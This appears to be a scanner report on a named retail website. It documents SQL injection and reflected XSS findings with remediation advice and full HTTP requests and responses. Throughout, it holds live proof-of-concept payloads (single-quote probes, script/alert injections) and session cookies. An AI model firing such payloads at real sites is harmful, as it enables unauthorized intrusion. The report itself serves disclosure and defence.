SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response 1
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:46:37 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 241
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html'' AND s' at line 3
Request 2
GET /LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html'' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response 2
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:46:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /ajax.php' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:36:32 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 192
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ajax.php'' AND site_id =6' at line 3
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /css/jqModalDef.css' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:36:32 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 202
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''css/jqModalDef.css'' AND site_id =6' at line 3
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /css/modelpage.css' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:38:39 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 201
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''css/modelpage.css'' AND site_id =6' at line 3
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /css/styles.css' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:44:42 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 198
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''css/styles.css'' AND site_id =6' at line 3
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /favicon.ico' HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 14:36:31 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 195
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''favicon.ico'' AND site_id =6' at line 3
2. Cross-site scripting (reflected)previousnext There are 12 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83540"-alert(1)-"35fd8ef3bcb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html83540"-alert(1)-"35fd8ef3bcb HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61b18"><script>alert(1)</script>b32882696ee was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html61b18"><script>alert(1)</script>b32882696ee HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25481
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 882e9"><script>alert(1)</script>a2ee593bd2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ajax.php882e9"><script>alert(1)</script>a2ee593bd2d HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25191
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3d22"-alert(1)-"60509745eda was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ajax.phpe3d22"-alert(1)-"60509745eda HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25096
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e551e"-alert(1)-"69437b29d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /css/jqModalDef.csse551e"-alert(1)-"69437b29d2 HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25145
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d9d5"><script>alert(1)</script>fe2cbda0b3e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /css/jqModalDef.css6d9d5"><script>alert(1)</script>fe2cbda0b3e HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13ac8"><script>alert(1)</script>f9e20ecfe46 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /css/modelpage.css13ac8"><script>alert(1)</script>f9e20ecfe46 HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25240
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94384"-alert(1)-"a4eab3377dc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /css/modelpage.css94384"-alert(1)-"a4eab3377dc HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 04:35:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="NOI NID ADMa OUR IND UNI COM NAV" Cache-Control: public Set-Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; path=/ Content-Length: 25145
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afa5a"-alert(1)-"cc7931ff298 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /css/styles.cssafa5a"-alert(1)-"cc7931ff298 HTTP/1.1 Host: www.hertzfurniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: kmS6633=e45fe3e8faca408a99c65ba18ef281a7; __utmv=1.|3=FT=!!!!=1,; kmCheck=ab6ca75d7eb7410284c55664bdbfda84; kmE6633=1:0|14968,; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; DOASERVER=15; __utmb=1.2.10.1293335042; kmL6633=1|0|Campaign not provided|AdGroup not provided|Raw Query not available|unk|Referrer information not available|Raw Query not available;
Response
